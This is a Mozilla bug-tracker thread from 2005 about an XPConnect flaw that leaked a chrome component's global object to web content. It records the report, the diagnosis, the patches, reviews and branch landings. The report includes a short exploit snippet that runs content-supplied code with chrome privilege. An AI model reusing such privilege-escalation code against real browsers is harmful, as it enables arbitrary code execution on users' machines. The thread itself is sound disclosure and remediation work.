QueryInterface.__proto__.__parent__ refers to the object generated by "nsExtensionManager.js"

RESOLVED FIXED in mozilla1.8beta3

Status

()

Core
XPConnect
RESOLVED FIXED
12 years ago
10 years ago

People

(Reporter: moz_bug_r_a4, Assigned: jst)

Tracking

({fixed-aviary1.0.5, fixed1.7.9})

1.0 Branch
mozilla1.8beta3
fixed-aviary1.0.5, fixed1.7.9
Points:
---
Dependency tree / graph
Bug Flags:
blocking-aviary1.0.5 +
blocking1.8b2 -
blocking1.8b3 +
blocking-aviary1.5 +
in-testsuite ?

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:fix] Bug details embargoed until August 1, 2005)

Attachments

(4 attachments, 1 obsolete attachment)

(Reporter)

Description

12 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

Any_XPCOM_Object.QueryInterface.__proto__.__parent__ refers to the object
generated by "nsExtensionManager.js". And content window can use its properties
and functions. This bug allows an attacker to run arbitrary code.


  s1 = new Script("Components.stack");
  s2 = new QueryInterface.__proto__.__parent__.Script("Components.stack");

When chrome calls s1.exec(), this error message appears:
  Error: function Script.prototype.exec must be called directly, and not by
  way of a function of another name

But, when chrome calls s2.exec(), its code is executed with chrome privilege.
And, there are ways to make chrome call a Script object created by content.

------
Target code: from nsExtensionManager.js
  var gModule = {
    getClassObject: function (aComponentManager, aCID, aIID) 
    {
      if (!aIID.equals(Components.interfaces.nsIFactory))
        throw Components.results.NS_ERROR_NOT_IMPLEMENTED;

      for (var key in this._objects) {
        if (aCID.equals(this._objects[key].CID))
          return this._objects[key].factory;
      }
    
      throw Components.results.NS_ERROR_NO_INTERFACE;
    },

Exploit code:
  var b = QueryInterface.__proto__.__parent__;
  var iid = { equals : new b.Script(code) };
  b.gModule.getClassObject(null, null, iid);
------

Note for trunk builds:
If user did install/uninstall or enable/disable Extensions, at next time user
start Firefox, QueryInterface.__proto__.__parent__ refers to the other object
generated by "inspector-cmdline.js". but, it doesn't stop exploits.

Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Firefox/1.0+

(Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050518 Thunderbird/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Thunderbird/1.0+


Reproducible: Always

Steps to Reproduce:
(Reporter)

Comment 1

12 years ago
Created attachment 184007 [details]
testcase
(Reporter)

Comment 2

12 years ago
Mozilla suite is not affected by this bug, but there is similar bug (probably
harmless?) that affects Mozilla suite, Firefox and Thunderbird. see Bug 294799 
Is this really any XPCOM object, or just those with classinfo?
Confirming.

Testcase didn't work when I had AdBlock enabled, it may be somewhat random what
component you reach if you've got a lot of extras installed. Do not call this
bug fixed or WFM unless you test in -safe-mode.
Assignee: nobody → jst
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: blocking1.8b3+
Flags: blocking1.8b2?
Flags: blocking-aviary1.1+
Flags: blocking-aviary1.0.5+
Whiteboard: [sg:fix]
(Reporter)

Comment 5

12 years ago
>Is this really any XPCOM object, or just those with classinfo?

|Components| object doesn't have nsIClassInfo interface. but,
Components.QueryInterface.__proto__.__parent__ refers to the same object.


tested with Firefox1.0.4 + Adblock:
QueryInterface.__proto__.__parent__ refers to nsIAppShellService.hiddenDOMWindow
that contains the object generated by "adblock.jar!/content/component.js".
I think this bug, bug 294799 and bug 295011 all have the same cause. We use the
safe context when creating the function objects for native member functions in
XPConnect, see XPCNativeMember::Resolve
(http://lxr.mozilla.org/seamonkey/source/js/src/xpconnect/src/xpcwrappednativeinfo.cpp#114).
I'm not sure how JS components' objects get into the safe context' global
object, probably because some of them run code pretty early on startup.
Blocks: 256195

Comment 7

12 years ago
jst looking at this for b3
Flags: blocking1.8b2? → blocking1.8b2-
The JS component stuff is almost certainly what ends up creating the safe
context, which means that the first component's global is what gets set as the
safe context's global when we call InitClassesWithWrappedNative in the component
loader's GlobalForLocation.  (Working from recent memory, don't have it open
right now.)

We can probably save-and-restore the safe context's global around that set of
calls, to avoid that sort of leakage, though I'd sort of rather the safe context
always made its own global object of some known heritage.
(Assignee)

Comment 9

12 years ago
Created attachment 184976 [details] [diff] [review]
Stop leaking the safe context's global to all windows.

This fixes this problem by stopping the sharing of JS function objects from the
safe context's global. The downside is that now all clones of the "real"
functions need to carry the data in the reserved slots (2) instead of getting
that from the "real" function object. This means all functions get bigger (2
slots on a JSObject). But really, exposing the safe context's global to any
code is just wrong, so I'd think this is worth the hit unless someone can think
of a better way to do this...
Attachment #184976 - Flags: superreview?(brendan)
Attachment #184976 - Flags: review?(peterv)
(Assignee)

Comment 10

12 years ago
Created attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Just realized that I missed a call to JS_CloneFunctionObject() in
xpccomponents.cpp. That was the last thing that required that we try to get the
reserved slots off of the "real" function object, so I was able to take out the
code to get to the real function object. This one's ready to land, me thinks.
Attachment #184976 - Attachment is obsolete: true
Attachment #185071 - Flags: superreview?(brendan)
Attachment #185071 - Flags: review?(shaver)
(Assignee)

Updated

12 years ago
Attachment #184976 - Flags: superreview?(brendan)
Attachment #184976 - Flags: review?(peterv)
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
and nsJSContext::BindCompiledEventHandler
Attachment #185071 - Flags: review?(shaver) → review+
Blocks: 295011
(Assignee)

Updated

12 years ago
Blocks: 294799
(Reporter)

Comment 12

12 years ago
XBL needs to be fixed.
Bug 296397
*** Bug 296397 has been marked as a duplicate of this bug. ***
Blocks: 296397

Updated

12 years ago
Component: Security → XPConnect
Flags: review+
OS: Windows XP → All
Product: Firefox → Core
Hardware: PC → All
Target Milestone: --- → mozilla1.8beta3
Version: unspecified → 1.0 Branch
(In reply to comment #11)
> (From update of attachment 185071 [details] [diff] [review] [edit])
> r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
> and nsJSContext::BindCompiledEventHandler

Why the last?  It's a primitive, a tool that callers have to use well.  How can
it  avoid abusage at a higher level that leads to "super-proto" entrainment/leakage?

/be
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

sr=me but please consider taking xpc_CloneJSFunction out of line.  If doing so
has no code savings on tier-1 platforms, nm.

Restoring r+ from bz lost due to product change (bugzilla bug!).  1.8b3+'ing.

/be
Attachment #185071 - Flags: superreview?(brendan)
Attachment #185071 - Flags: superreview+
Attachment #185071 - Flags: review+
Attachment #185071 - Flags: approval1.8b3+
(Assignee)

Comment 16

12 years ago
Created attachment 185203 [details] [diff] [review]
Same thing with xpc_CloneJSFunction() uninlined.
(Assignee)

Comment 17

12 years ago
Fix checked in.
(Assignee)

Updated

12 years ago
Attachment #185071 - Flags: approval1.7.9?
Attachment #185071 - Flags: approval-aviary1.0.5?

Updated

12 years ago
Whiteboard: [sg:fix] → [sg:fix] have patch
(Assignee)

Updated

12 years ago
Blocks: 296467
(Assignee)

Comment 18

12 years ago
Note, this caused bug 296467.
(Assignee)

Comment 19

12 years ago
Oops. Somehow I mixed bugs up here and thought that this was already approved
for the branches. I see now that it wasn't, but I already checked this in on the
aviary branch :(

Let me know if I need to back this out.
(Assignee)

Comment 20

12 years ago
Created attachment 185314 [details] [diff] [review]
Aviary branch version.

Comment 21

12 years ago
jst: Should we add the fixed-aviary1.0.5 keyword since you already checked in on
the Aviary branch?

Is this supposed to make it onto the Mozilla 1.7.9 branch?

Updated

12 years ago
Keywords: fixed-aviary1.0.5

Comment 22

12 years ago
Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Looks like this already landed on the Aviary branch...but did it make it onto
the 1.7.9?  If not, a=jay, let's get it in.
Attachment #185071 - Flags: approval1.7.9?
Attachment #185071 - Flags: approval1.7.9+
Attachment #185071 - Flags: approval-aviary1.0.5?
Attachment #185071 - Flags: approval-aviary1.0.5+
(Assignee)

Comment 23

12 years ago
Fixed on trunk and both branches.
Status: NEW → RESOLVED
Last Resolved: 12 years ago
Keywords: fixed1.7.9
Resolution: --- → FIXED

Comment 24

12 years ago
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using original testcase.
Adding distributors
Whiteboard: [sg:fix] have patch → [sg:fix] Bug details embargoed until July 20, 2005
Whiteboard: [sg:fix] Bug details embargoed until July 20, 2005 → [sg:fix] Bug details embargoed until August 1, 2005
Group: security

Updated

11 years ago
Flags: testcase+

Updated

10 years ago
Flags: in-testsuite+ → in-testsuite?
You need to log in before you can comment on or make changes to this bug.